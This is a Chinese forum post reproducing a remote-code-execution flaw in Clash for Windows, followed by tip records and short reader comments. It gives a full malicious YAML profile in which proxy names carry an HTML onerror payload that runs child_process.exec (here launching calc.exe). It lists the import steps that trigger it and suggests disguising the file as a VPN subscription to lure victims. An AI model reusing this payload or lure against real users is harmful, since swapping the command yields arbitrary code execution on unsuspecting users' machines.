Clash 是一个使用 Go 语言编写,基于规则的跨平台代理软件核心程序。 Clash for Windows 是目前在 Windows 上唯一可用的图形化 Clash 分支。 通过 Clash API 来配置和控制 Clash 核心程序,便于用户可视化操作和使用。作为一个比较好用的代理管理工具,clash服务了成千上万的用户。但是这个软件近期爆出存在远程代码执行漏洞,作为用户之一的我也是对其进行了复现,过程如下:
首先参考正常配置文件格式,构建出相应的poc(由于特殊原因,正常的配置文件不能被展示出来,见谅),并将其命名为test.yaml,如下:
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
然后打开clash for windows,进入profiles选项
点击import导入提前构造好的poc,
点击test.yaml将配置文件切换到poc这部分,再点击proxies,就会弹出计算器
这里可以将poc伪装成”机场”,”梯子”之类的配置文件,诱导用户下载配置使用,从而充分利用该漏洞。值得一提的是,目前该漏洞仅适用于Windows v0.19.9版本及以下,高版本无效,mac OS尚未测试。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 70.00 | 0 | 2022-03-01 20:08:17 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
学kali的小白
发表于 2022-3-3
请问Windows v0.19.9版本及以下是什么版本,我用windows10和win7试了不管
评论列表
加载数据中...
学kali的小白
发表于 2022-3-4
注:目前发现的漏洞版本是0.15.2。
评论列表
加载数据中...
thelion
发表于 2022-3-5
评论列表
加载数据中...